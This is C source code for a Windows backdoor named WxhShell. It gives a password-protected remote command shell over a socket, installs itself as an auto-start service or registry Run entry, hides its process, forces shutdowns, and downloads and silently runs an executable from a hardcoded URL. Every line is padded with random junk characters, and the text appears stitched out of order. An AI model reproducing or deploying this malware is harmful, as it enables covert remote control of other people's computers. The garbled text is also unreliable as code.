  case 'd': { QH7"' u6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eg!s[1[_  
    if(Boot(SHUTDOWN)) x]{}y_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0A9llE  
    else { \"Jgs.  
    closesocket(wsh); "H\1Z,P<m  
    ExitThread(0); %/iD@2r  
    } 5+Fr/C  
    break; H3CG'?{ _  
    } yq]=+X>(  
  // 获取shell |mvY=t %  
  case 's': { KcKdhqdN-  
    CmdShell(wsh); /enlkZx=8  
    closesocket(wsh); !Lkk1z o  
    ExitThread(0); &y_Ya%Z3*e  
    break; X?whyD)vE@  
  } 2t 7':X  
  // 退出 >%LZ|*U  
  case 'x': { AQ+MjS,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ynY(  
    CloseIt(wsh); >J(._K  
    break; F#Y9 @E  
    } $r+ _Y/  
  // 离开 GWd71ZtFO  
  case 'q': { 5,dKha  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^m pWQ`R  
    closesocket(wsh); &GYnGrw?@  
    WSACleanup(); ,Y9bXC8+dU  
    exit(1); ~P!\;S  
    break; eLFxGZZ  
        } &`x1_*l  
  } hvW FzT5  
  } lEAf\T7  
8_$[SV$q  
  // 提示信息 F^4mO|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `4IZ4sPi  
} k0r93 xa  
  } +q*WY*gX  
f[1 s4Dp3-  
  return; 9!} ?}`'_  
} "xWrYq'"  
!U::kr=t  
// shell模块句柄 y[`>,?ns5  
int CmdShell(SOCKET sock)  N$ oQK(  
{ _\&v A5-  
STARTUPINFO si; Mbm'cM&}  
ZeroMemory(&si,sizeof(si)); !#&`1cYX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xu%_Zt2/?j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Dxvizd>VU  
PROCESS_INFORMATION ProcessInfo; 1FA:"0lO  
char cmdline[]="cmd"; KpX1GrIn3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s#cb wDT  
  return 0; ==#mlpi`S[  
} O}s Mqh  
P*6h $T  
// 自身启动模式 B<$(Nb5<  
int StartFromService(void) ~#MXhhqB  
{ 6+ UTEw;  
typedef struct ^=Dz)95c  
{ LO;7NK  
  DWORD ExitStatus; m+|yk.md  
  DWORD PebBaseAddress; Q6PaT@gs  
  DWORD AffinityMask; je;C}4  
  DWORD BasePriority; Uc%kyTBm1  
  ULONG UniqueProcessId;  #nq$^H  
  ULONG InheritedFromUniqueProcessId; M "\Iw'5$  
}   PROCESS_BASIC_INFORMATION; {"PIS&]tR  
3s\}|LqX#  
PROCNTQSIP NtQueryInformationProcess; ;SgPF:T>Q  
Llf#g#T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'nIKkQ" N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3-/F]}0y6  
H|)F-aL[  
  HANDLE             hProcess; \X2r?   
  PROCESS_BASIC_INFORMATION pbi; icK>|   
0?o<cC1Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P9 w);jp;  
  if(NULL == hInst ) return 0; d%Ls'[Y^_0  
K>2M*bGc p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -bd'sv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iV5S[uy72.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1SF8D`3  
ni$;"R GC  
  if (!NtQueryInformationProcess) return 0; "|Gr3sD  
Np"~1z.(b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A('o &H  
  if(!hProcess) return 0; ;,lFocGv  
Y{d-k1?s5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J ?0P{{  
tdsfCvF= a  
  CloseHandle(hProcess); ?zuKVi? I  
H-,p.$3}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y[{}124  
if(hProcess==NULL) return 0; ~2;\)/E\  
Na>w~  
HMODULE hMod; !aB~G}'  
char procName[255]; B ({g|}|G+  
unsigned long cbNeeded; HDO_r(i  
5<XWbGW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vw6>eT  
kGmz1S}2  
  CloseHandle(hProcess); %At.nlss  
;e{e ?,[  
if(strstr(procName,"services")) return 1; // 以服务启动 BgT(~8'  
d`UK mj  
  return 0; // 注册表启动 r$:hiE@  
} Ot+Z}Z-  
+ )n}n5  
// 主模块 "+M0lGTB  
int StartWxhshell(LPSTR lpCmdLine) |LRAb#F\  
{ .~C%:bDnX7  
  SOCKET wsl; EK&";(x2(  
BOOL val=TRUE; a>Wr2gPko  
  int port=0; *X5<]{7c  
  struct sockaddr_in door; Kzx` E>,z'  
/_X`i[  
  if(wscfg.ws_autoins) Install(); WjBH2v  
.ah[!O  
port=atoi(lpCmdLine); |It&1fz}  
Wn{MY=5Y  
if(port<=0) port=wscfg.ws_port; v|MT^.  
Cg(&WJw(ep  
  WSADATA data; /|8rVYSs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IczMf%  
xO^lE@a o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &5[B\yv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Wo(m:q(Om  
  door.sin_family = AF_INET; Eunmc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lc3N i<3v  
  door.sin_port = htons(port); h1H$3TpP  
&hUEOif  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U[?f@.&  
closesocket(wsl); $>7T s>8  
return 1; j#Qnu0D  
} ^(s(4|  
Z~w2m6;s  
  if(listen(wsl,2) == INVALID_SOCKET) { O!t=,F1j  
closesocket(wsl); Ih N^*P:Fo  
return 1; lMl'+ yy  
} zGdYk-H3TH  
  Wxhshell(wsl); /'/i?9:  
  WSACleanup(); t3AmXx  
nu)YN1 *  
return 0; 5Bt~tt  
*aJO5&w<T  
}  |e<$  
9 p,O>I  
// 以NT服务方式启动 T^F83Py<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;b (ww{&  
{ (*b<IGi;  
DWORD   status = 0; I$R1#s  
  DWORD   specificError = 0xfffffff; :dQRrmM  
P4zwTEk`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^f57qc3nF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /M JI^\CA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /~Bs5f.]?  
  serviceStatus.dwWin32ExitCode     = 0; MsZx 0]  
  serviceStatus.dwServiceSpecificExitCode = 0; 5KfrkZ  
  serviceStatus.dwCheckPoint       = 0; N/'8W9#6  
  serviceStatus.dwWaitHint       = 0; peHjKK  
,!,tU7-H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `kE7PXqa  
  if (hServiceStatusHandle==0) return; w+r).PS}C  
KnKf8c  
status = GetLastError(); }'?qUy3x  
  if (status!=NO_ERROR) 8A5/jqnqt  
{ x4/{XRQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EDuH+/:n  
    serviceStatus.dwCheckPoint       = 0; @q`T#vd  
    serviceStatus.dwWaitHint       = 0; 5dhy80|g]  
    serviceStatus.dwWin32ExitCode     = status; 6i%6u=um3  
    serviceStatus.dwServiceSpecificExitCode = specificError; , @!X! L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VR .t  
    return; D.-G!0!  
  } >28l9U  
"h #/b}/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w3 kkam"  
  serviceStatus.dwCheckPoint       = 0; mP=[h |a$r  
  serviceStatus.dwWaitHint       = 0; xjSzQ| k-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4"H *hKp  
} rd<43  
[V>s]c<4`o  
// 处理NT服务事件,比如:启动、停止 & Zn`2%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o='A1P  
{ fL# r@TB-s  
switch(fdwControl) YQ.ci4.f  
{ :|$cG~'J  
case SERVICE_CONTROL_STOP: V2|By,.  
  serviceStatus.dwWin32ExitCode = 0; {F2Rv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e&2,cQRFV  
  serviceStatus.dwCheckPoint   = 0; Te[v+jgLY,  
  serviceStatus.dwWaitHint     = 0; E .28G2&  
  { 1C<d^D_!p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V0rQtxE{F  
  } L N Fe7<y  
  return; j"'a5;Sy  
case SERVICE_CONTROL_PAUSE: a5R. \a<q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M PDRMGR@i  
  break; h _{f_GQ"  
case SERVICE_CONTROL_CONTINUE: ]8fn1Hx\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?wv^X`Q*~  
  break; ^EKRbPA9:<  
case SERVICE_CONTROL_INTERROGATE: qH5nw}]  
  break; Jfk#E^1  
}; NJ+$3n om  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vy}_aD{B  
} 4I$Y"|_e  
;[UI ]?A%  
// 标准应用程序主函数 e[?,'Mp9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h]L.6G|hEN  
{ s9a`2Wm  
h=,h Yz?]  
// 获取操作系统版本 :o ~'\:/  
OsIsNt=GetOsVer(); +R L@g*`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b_a k@LYiu  
ap'La|9t>  
  // 从命令行安装 mI!iSVqr  
  if(strpbrk(lpCmdLine,"iI")) Install(); iLIb-d?!a&  
vPGUE`!D+  
  // 下载执行文件 _@y uaMoW=  
if(wscfg.ws_downexe) { CuH4~6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) < K!r\^  
  WinExec(wscfg.ws_filenam,SW_HIDE); c+E\e]{  
} T7 "QwA  
qD4s?j-9  
if(!OsIsNt) { ~?Vod|>  
// 如果时win9x,隐藏进程并且设置为注册表启动 E0Q6Ryn  
HideProc(); auc:|?H~1n  
StartWxhshell(lpCmdLine); R6BbkYWrX  
} #^r-D[/m  
else [8UZ5_1WL  
  if(StartFromService()) 2oEuqHL  
  // 以服务方式启动 C3Q #[  
  StartServiceCtrlDispatcher(DispatchTable); ?gU raSFU  
else 87[ ,.W  
  // 普通方式启动 G![d_F" e  
  StartWxhshell(lpCmdLine); Y,v9o  
B)[RIs  
return 0; T0")Ryu  
} @wa"pWx8  
eOiH7{OA,  
wW p7N  
=1,!EkG  
=========================================== $*G3'G2'iS  
p0 X%^A,4  
zl6]N3+4  
$.pCoS]i  
=WUL%MfW  
vR:#g;mnk  
" D.:`]W|  
s|H7;.3gp  
#include <stdio.h> Pe,ky>ow  
#include <string.h> TK18U*z7J  
#include <windows.h> 'g,_lF  
#include <winsock2.h> gJX"4]Ol#}  
#include <winsvc.h> (kB  
#include <urlmon.h> ;$6L_C4B  
.pWRV<25  
#pragma comment (lib, "Ws2_32.lib") b#p0s?*  
#pragma comment (lib, "urlmon.lib") &hkD"GGe  
.tLRY  
#define MAX_USER   100 // 最大客户端连接数 v~Dobk/n  
#define BUF_SOCK   200 // sock buffer F?R6zvive  
#define KEY_BUFF   255 // 输入 buffer [KYq01cj  
8|{ZcW  
#define REBOOT     0   // 重启 8tR6.09'  
#define SHUTDOWN   1   // 关机 EBW*v '  
L!l?tM o  
#define DEF_PORT   5000 // 监听端口 o.NU"$\?  
&4|]VOf  
#define REG_LEN     16   // 注册表键长度 lqv}~MC  
#define SVC_LEN     80   // NT服务名长度 Q2Ey RFT  
#K:iB*  
// 从dll定义API 1="]'!2Is  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fqbeO9x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VnSO>O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9) ]`le  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eA(\#+)X `  
Ncbe{}<md  
// wxhshell配置信息 XrTc5V  
struct WSCFG { h ChO  
  int ws_port;         // 监听端口 ]}].A q  
  char ws_passstr[REG_LEN]; // 口令 NpZ'pBl  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9ThsR&h3  
  char ws_regname[REG_LEN]; // 注册表键名 Qx E%C  
  char ws_svcname[REG_LEN]; // 服务名 ty~Sf-Pri  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -M6vg4gf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EiC["M'}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g]HxPq+O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A\rY~$Vr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T_c`=3aO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !p+rU?  
EeQ8Uxb7  
}; y'8T=PqY[t  
*!"T^4DEg  
// default Wxhshell configuration > `eo0  
struct WSCFG wscfg={DEF_PORT, faLfdUimJ  
    "xuhuanlingzhe", ag:<%\2c  
    1, U&B(uk(2  
    "Wxhshell", ~I> |f  
    "Wxhshell", i: UN  
            "WxhShell Service", UdkNb}L  
    "Wrsky Windows CmdShell Service", p%>!1_'(  
    "Please Input Your Password: ", ~l'[P=R+8  
  1, Et*LbU  
  "http://www.wrsky.com/wxhshell.exe", "7+^`?  
  "Wxhshell.exe" 4IfkYM  
    }; `_Iyr3HAf  
1@~%LV  
// 消息定义模块 8i`T?KB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :%mls Nw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |AvsT{2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~!TrC <ft  
char *msg_ws_ext="\n\rExit."; ._x"b5C  
char *msg_ws_end="\n\rQuit."; : c iwh  
char *msg_ws_boot="\n\rReboot..."; -M]/Xv]  
char *msg_ws_poff="\n\rShutdown..."; !lEV^SQJs  
char *msg_ws_down="\n\rSave to "; }.|a0N 5  
ZU B]qzmK  
char *msg_ws_err="\n\rErr!"; ?UflK  
char *msg_ws_ok="\n\rOK!"; !$iwU3~<  
Z%.L d2Q{  
char ExeFile[MAX_PATH]; x?{l<mc  
int nUser = 0; lxXF8c>U  
HANDLE handles[MAX_USER]; 5C`Vno~v  
int OsIsNt; H/x 9w[\+[  
QrmGrRH  
SERVICE_STATUS       serviceStatus; lp$,`Uz`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6tVp%@  
JK^%V\m  
// 函数声明 DPnrzV )  
int Install(void); 0[ n;ZL~  
int Uninstall(void); /8_x]Es/  
int DownloadFile(char *sURL, SOCKET wsh); p |;#frj  
int Boot(int flag); E?K(MT&@  
void HideProc(void); , 82?kky  
int GetOsVer(void); 2-g 5Gb2|  
int Wxhshell(SOCKET wsl); d<\X)-"  
void TalkWithClient(void *cs); +BI%. A`2  
int CmdShell(SOCKET sock);  5 YIk  
int StartFromService(void); -t`KCf,0  
int StartWxhshell(LPSTR lpCmdLine); |1OF!(:  
p0Ij 4   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p'/%"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t2.]v><  
{|zQ .s A  
// 数据结构和表定义 q}JP;p(#  
SERVICE_TABLE_ENTRY DispatchTable[] = 0_>1CW+X  
{ f]Z9=  
{wscfg.ws_svcname, NTServiceMain}, |9CPT%A#  
{NULL, NULL} **9[e[(X  
}; ,5*<C'9  
R<h:>.M  
// 自我安装 "wV7PSbM  
int Install(void) uZ1G,9  
{ S|RUc}(  
  char svExeFile[MAX_PATH]; Jn0L_@  
  HKEY key; Fok`-U  
  strcpy(svExeFile,ExeFile); LwQYO'X  
~ebm,3?  
// 如果是win9x系统,修改注册表设为自启动 1RQM-0W,  
if(!OsIsNt) {  ,8p-EH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =cR=E{20  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0F 4%Xz  
  RegCloseKey(key); 1@]gBv<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5X-d,8{w _  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zq^eL=%:  
  RegCloseKey(key); ]ao%9:P;  
  return 0; n)]u|qq  
    } ug`Jn&x!  
  } x2]chN  
} jA%R8hdr_  
else { Dm;aTe  
8`b_,(\N  
// 如果是NT以上系统,安装为系统服务 _ =O;Lz$x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :bp8S@  
if (schSCManager!=0) bb`DyUy ^+  
{ QN~9O^  
  SC_HANDLE schService = CreateService -Ze2]^#dl  
  ( -S $Y0FDV  
  schSCManager, )Oj%3  
  wscfg.ws_svcname, pEGHW;  
  wscfg.ws_svcdisp, ^zS|O]Tx  
  SERVICE_ALL_ACCESS, ~ln96*)M;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P.t7_v>  
  SERVICE_AUTO_START, >RmL0d#B  
  SERVICE_ERROR_NORMAL, c$%I^f}'  
  svExeFile, 6k\8ulHw  
  NULL, 7LW %:0  
  NULL, +-:G+9L@  
  NULL, !Ie={BpzbZ  
  NULL, SC0_ h(zb,  
  NULL O`0A#h&No  
  ); DVyxe}  
  if (schService!=0) )d?L*X~y'  
  { 5fhe{d"si  
  CloseServiceHandle(schService); T 3 +lYE  
  CloseServiceHandle(schSCManager); pXxpEv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #J c)v0_  
  strcat(svExeFile,wscfg.ws_svcname); pB]+c%\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Je~Ybh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]M9r<x*  
  RegCloseKey(key); V)r6bb{^  
  return 0; %?:eURQ  
    } =g^JJpS  
  } {B6tGLt#bf  
  CloseServiceHandle(schSCManager); 5l(NX  
} :,dO7dJi  
} ApAHa]Ccp  
W\yaovAt  
return 1; =_dqoAF  
} iX'#~eK*<  
:.EVvuXI  
// 自我卸载 ZzO.s$  
int Uninstall(void) #v4q:&yKf  
{ lW YgIpw  
  HKEY key; -jsk-,  
Jyu*{  
if(!OsIsNt) { {[.<BU-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wS1zd?  
  RegDeleteValue(key,wscfg.ws_regname); a<`s'N1G  
  RegCloseKey(key); k39;7J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &!FWo@  
  RegDeleteValue(key,wscfg.ws_regname); ?wS/KEl=O  
  RegCloseKey(key); 1{X ;&y  
  return 0; mo3HUXf}8  
  } , 8F(R%v  
} G^Yg[*bJ^$  
} z@em1W0?Z  
else { >NN&j#;x~  
r$Ck:Q}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t1tZ:4  
if (schSCManager!=0) o@0p  
{ 8L*P!j9`EY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CR<Nau>  
  if (schService!=0) n$y)F} .-  
  { 4!KUPgg  
  if(DeleteService(schService)!=0) { qBIKJ  
  CloseServiceHandle(schService); ?KfV>.()  
  CloseServiceHandle(schSCManager); j5>3Td.  
  return 0; v= I 'rx  
  } 07L 1 "  
  CloseServiceHandle(schService); /"<o""<]  
  } zcNv T  
  CloseServiceHandle(schSCManager); ^h@1tFF  
} 2oFHP_HVfu  
} As7Y4w*+  
H#;-(`F  
return 1; 1tQl^>r16  
} iv/!c Mb  
noa =wy  
// 从指定url下载文件 sC.aT(meJ  
int DownloadFile(char *sURL, SOCKET wsh) ,s,VOyr @F  
{ .-g++f(_i  
  HRESULT hr; #{kwl|c   
char seps[]= "/"; |H'4];>R?  
char *token; )tyhf(p6  
char *file; IaLCWvHX  
char myURL[MAX_PATH]; #A2)]XvY  
char myFILE[MAX_PATH]; jQiK of>  
do1aH$Iw  
strcpy(myURL,sURL); A<VNttgG  
  token=strtok(myURL,seps); amn\#_(  
  while(token!=NULL) *g<D p2`  
  { >f$>Odqe  
    file=token; y J&`@gB  
  token=strtok(NULL,seps); p|z\L}0  
  } ^sp+ sr :  
M6P`~emX2  
GetCurrentDirectory(MAX_PATH,myFILE); @;we4G5  
strcat(myFILE, "\\"); Sp=6%3fZ]m  
strcat(myFILE, file); [l2ds:  
  send(wsh,myFILE,strlen(myFILE),0); gz?]]-H  
send(wsh,"...",3,0); ?p8(Uc#73  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?m?DAd~ZY  
  if(hr==S_OK) ;r_YEPlZ  
return 0; 2 R !1Vl  
else l25E!E-'b  
return 1; =;9*gDfD  
n%>c4*t  
} (gv1f  
7aJLC!  
// 系统电源模块 9o]h}Xc  
int Boot(int flag) N{u4  
{ 1h.N &;vy  
  HANDLE hToken; L)cy&"L|  
  TOKEN_PRIVILEGES tkp; =~i~SG/f  
EVW{!\8[  
  if(OsIsNt) { JEK 6Ms;)A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9w Pc03a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B%c):`w8]  
    tkp.PrivilegeCount = 1; ;L5'3+U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n'yC-;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #l6L7u0~wC  
if(flag==REBOOT) { s^]F4'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S(c,Sinc  
  return 0; e[HP]$\   
} ,&;#$ b5  
else { yu'2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) El~x$X*  
  return 0; s 9,?"\0Zm  
} 9~^%v zM  
  } n y7 G  
  else { $W 46!U3  
if(flag==REBOOT) { J2BW>T!tuw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ][|)qQ%V  
  return 0; 06 kjJ4  
} ]E1aIt  
else { Qo !/]\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ckXJ9>  
  return 0; ik@g;>pQD  
} MVW2 %6  
} 7T]}<aK<c[  
dsKEWZ =  
return 1; 3McBTa!  
} ZqHh$QBD 9  
.D^=vuxt~  
// win9x进程隐藏模块 7(m4,l+(  
void HideProc(void) HG2i^y  
{ =y; tOdj  
W_NQi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Vu DSjh  
  if ( hKernel != NULL ) Kf<-PA  
  { X&1R6 O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -'FzH?q:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c]`}DH,TJ  
    FreeLibrary(hKernel); Ds4n>V,o  
  } #:{Bd8PS  
HL;y5o?  
return; S{7*uK3$  
} ]VifDFL}  
}|rnyYA  
// 获取操作系统版本 hKq#i8py  
int GetOsVer(void) @'.(62v  
{ M^\#(0^2@  
  OSVERSIONINFO winfo; Vd2bG4*=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .z u0GsU=  
  GetVersionEx(&winfo); VjbRjn5LI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }Z MbTsm  
  return 1; ~7Ey9wRkD  
  else %t&n%dhJ  
  return 0; !7MC[z(|N  
} YN1P9j#0d  
d`D<PT(\  
// 客户端句柄模块 )GDP?Nc<Ik  
int Wxhshell(SOCKET wsl) lE~5 b  
{ :yN;_bC!b%  
  SOCKET wsh; qEC -'sl<  
  struct sockaddr_in client; ^uzJu(  
  DWORD myID; 4^T@n$2N  
S) /(~  
  while(nUser<MAX_USER) uXiAN#1  
{  <StyO[  
  int nSize=sizeof(client); G992{B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !/W[6'M#p  
  if(wsh==INVALID_SOCKET) return 1; {AbQaw  
@EZ@X/8{&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5Z]zul@+*  
if(handles[nUser]==0) :-B,Q3d  
  closesocket(wsh); zY\pZG  
else 1ID0'j$  
  nUser++; /3F4t V  
  } X\tE#c&K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v\>!J?  
!424K-nW  
  return 0; @^8tk3$ Y  
} -POV#1s  
|^K-m42  
// 关闭 socket 0xbx2jlkY  
void CloseIt(SOCKET wsh) D"^4X'6  
{ b4GD}kR  
closesocket(wsh); %xtTh]s  
nUser--; a?bSMt}  
ExitThread(0); 9ALE6  
} $2Y'[Dto\  
^z #'o  
// 客户端请求句柄 p._BG80  
void TalkWithClient(void *cs) V!#+Ti/w4  
{ i3~"qbU%z[  
[5 Mt,skC:  
  SOCKET wsh=(SOCKET)cs; HS3] 8nJW  
  char pwd[SVC_LEN]; T `x:80  
  char cmd[KEY_BUFF]; X{A|{u=  
char chr[1]; b/IT8Cm3  
int i,j; E/mp.f2!  
.LDK+c  
  while (nUser < MAX_USER) { |QwX  
\M~M  
if(wscfg.ws_passstr) { Wk$ 7<gkr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !Z978Aub3&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vzl+0"  
  //ZeroMemory(pwd,KEY_BUFF); tu}AJ  
      i=0; uMl.}t2uYu  
  while(i<SVC_LEN) { *I)o Dq3  
=e'b*KTL,  
  // 设置超时 GxWA=Xp^~G  
  fd_set FdRead; W]kh?+SZ  
  struct timeval TimeOut; FB {4& ;  
  FD_ZERO(&FdRead); ".jY3<bQg  
  FD_SET(wsh,&FdRead); r`5[6)+P  
  TimeOut.tv_sec=8; +L_!$"I  
  TimeOut.tv_usec=0; %?K1X^52d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qdoJIP{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d;` bX+K  
InDISl]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =Nn&$h l  
  pwd=chr[0]; IXYSZ)z  
  if(chr[0]==0xd || chr[0]==0xa) { Fm(~Vt;%u  
  pwd=0; (R)\  
  break;  PZZTRgVc  
  } ?0_Bs4O\  
  i++; /fCj;8T3o  
    } 1vlRzkd  
5y07@x  
  // 如果是非法用户,关闭 socket YEF|SEon0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _:ypPR J  
} >[TB8  
("(:wYR%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >%jQw.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }t!,{ZryE1  
a nK7j2  
while(1) { :7&#ej6  
"YbvI@pD  
  ZeroMemory(cmd,KEY_BUFF); gJn|G#!  
.a._WZF  
      // 自动支持客户端 telnet标准   ^E_`M:~  
  j=0; xBH`=e <  
  while(j<KEY_BUFF) { =ML6"jr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~Xi_bTAyAW  
  cmd[j]=chr[0]; K)5'Jp@  
  if(chr[0]==0xa || chr[0]==0xd) { 4naL2 Y!  
  cmd[j]=0; &9b sTm  
  break; k2Yh?OH  
  } k$`~,LJp  
  j++; '51DdT U  
    } hhjT{>je  
Dohq@+] O  
  // 下载文件 8 1;QF_C  
  if(strstr(cmd,"http://")) { 8z&7wO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b e[KNrO  
  if(DownloadFile(cmd,wsh)) *B"p:F7J|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 90OSe{  
  else O>e2MT|#k  
